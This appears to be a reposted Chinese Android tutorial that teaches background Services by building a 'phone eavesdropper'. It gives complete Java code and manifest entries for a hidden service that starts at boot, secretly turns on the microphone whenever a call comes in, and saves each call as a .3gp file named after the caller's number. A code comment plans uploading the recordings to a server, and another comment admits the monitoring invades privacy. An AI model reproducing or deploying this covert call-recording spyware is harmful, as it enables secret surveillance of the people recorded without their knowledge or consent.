组件—服务
后台长期运行的没有界面的一个activity。
电话窃听器:
需求:
1.没有界面,一般用户看不到,开机自动启动
2.长期的后台运行,监视当前用户的手机状态
3.通话状态,开启一个录音机,然后录音通话记录,保存在sd卡中。
创建服务的步骤:
1.写一个类,继承系统的Service组件
2.清单文件配置
3.在服务的onCreate()方法做服务初始化的操作
4.在服务的onDestroy()方法里面做服务扫尾操作
5.开启服务startService(intent) stopService(intent)。
一.自己写界面控制服务的开启和关闭
xml文件很简单,就两个button开启服务和关闭服务,不给出了。
MainActivity.java文件,
package com.itheima.phonelistener;
import android.os.Bundle;
import android.app.Activity;
import android.content.Intent;
import android.view.Menu;
import android.view.View;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
/**
* 开启服务按钮对应的点击时间
* @param view
*/
public void start(View view){
//定义服务的意图对象
Intent intent = new Intent(this,PhoneStatusService.class);
startService(intent);
}
/**
* 关闭服务按钮对应的点击时间
* @param view
*/
public void stop(View view){
Intent intent = new Intent(this,PhoneStatusService.class);
stopService(intent);
}
}
package com.itheima.phonelistener;
import java.io.File;
import java.io.IOException;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.media.MediaRecorder.AudioSource;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;
public class PhoneStatusService extends Service {
public static final String TAG = "PhoneStatusService";
//声明手机电话系统状态管理的服务类
private TelephonyManager tm;
//电话状态的监听器
private MyPhoneListener myPhoneListener;
//定义一个电话录音机
private MediaRecorder mediaRecorder;
@Override
public IBinder onBind(Intent arg0) {
return null;
}
//Called by the system when the service is first created
//当服务第一次被创建的时候执行,由系统执行的。
@Override
public void onCreate() {
//获取手机电话状态管理的服务。
tm = (TelephonyManager)getSystemService(TELEPHONY_SERVICE);
//创建一个监听器,监听电话呼叫状态的变化。
myPhoneListener = new MyPhoneListener();
//开始监听用户的通话状态
tm.listen(myPhoneListener, PhoneStateListener.LISTEN_CALL_STATE);
super.onCreate();
}
//Called by the system to notify a Service that it is no longer used and is being removed
//当服务被停止的时候调用。
@Override
public void onDestroy() {
//服务停止取消电话的监听器
tm.listen(myPhoneListener, PhoneStateListener.LISTEN_NONE);
myPhoneListener = null;
super.onDestroy();
}
private class MyPhoneListener extends PhoneStateListener{
//当手机呼叫状态变化的时候 执行下面代码。
//state 电话的状态
//incomingnumber 来电号码
@Override
public void onCallStateChanged(int state, String incomingNumber) {
try {
//判断我们当前手机的通话状态
switch (state) {
//手机处于空闲状态,没有人打电话 没有零响
case TelephonyManager.CALL_STATE_IDLE:
Log.i(TAG,"手机处于空闲状态,检查刚才是否开启了录音机,如果开启了,保存音频到sd卡");
if(mediaRecorder!=null){
//8.停止录音
mediaRecorder.stop();
//9.释放资源。
mediaRecorder.release();
//方便垃圾回收器回收掉资源
mediaRecorder = null;
//上传音频文件到服务器 。 网络请求api。删除sd卡临时保存的文件。
}
break;
//手机零响状态
case TelephonyManager.CALL_STATE_RINGING:
Log.i(TAG,"手机铃声响的状态,悄悄地开启一个录音机,准备录音。");
//1.第一步创建一个多媒体录音机的实例
mediaRecorder = new MediaRecorder();
//2.指定录音机的音频源 录音的音源是麦克风
mediaRecorder.setAudioSource(AudioSource.MIC);
//3.指定这个音频文件的格式 。
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
//4.指定录出来的音频文件保存的文件路径
File file = new File(Environment.getExternalStorageDirectory(),incomingNumber+".3gp");
mediaRecorder.setOutputFile(file.getAbsolutePath());
//5.设置音频的编码格式
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
//6.准备开始录音
mediaRecorder.prepare();
break;
//电话接通状态,用户正在打电话
case TelephonyManager.CALL_STATE_OFFHOOK:
Log.i(TAG,"手机处于通话状态,开始录音,把用户说的话都给录下来。");
if(mediaRecorder!=null){
//7.开始录音
mediaRecorder.start();
}
break;
}
super.onCallStateChanged(state, incomingNumber);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
<service android:name="com.itheima.phonelistener.PhoneStatusService" >
</service><!-- 监视用户电话的状态侵犯了用户的隐私,需要权限 -->
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<!-- 录音需要权限 -->
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<!-- 写sd卡 -->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />二.开机自动启动服务
配置文件AndroidManifest.xml添加
<!--
接收手机启动完毕广播事件的权限,在4.0以前的版本,不需要添加这个权限也可以开启启动,
在4.0以后的版本 不包括4。0必须要添加开机启动的权限
-->
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
自定义开机广播接受者,
package com.itheima.phonelistener;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
public class BootCompleteReceiver extends BroadcastReceiver {
private static final String TAG = "BootCompleteReceiver";
@Override
public void onReceive(Context context, Intent intent) {
Log.i(TAG,"手机启动完毕了,监视到了手机启动的广播事件,开启后台监听的服务");
Intent i = new Intent(context,PhoneStatusService.class);
context.startService(i);
}
}
查看sd卡路径下可以找到.3gp文件,就是通话的录音文件。
原文:http://blog.csdn.net/wtyvhreal/article/details/45952899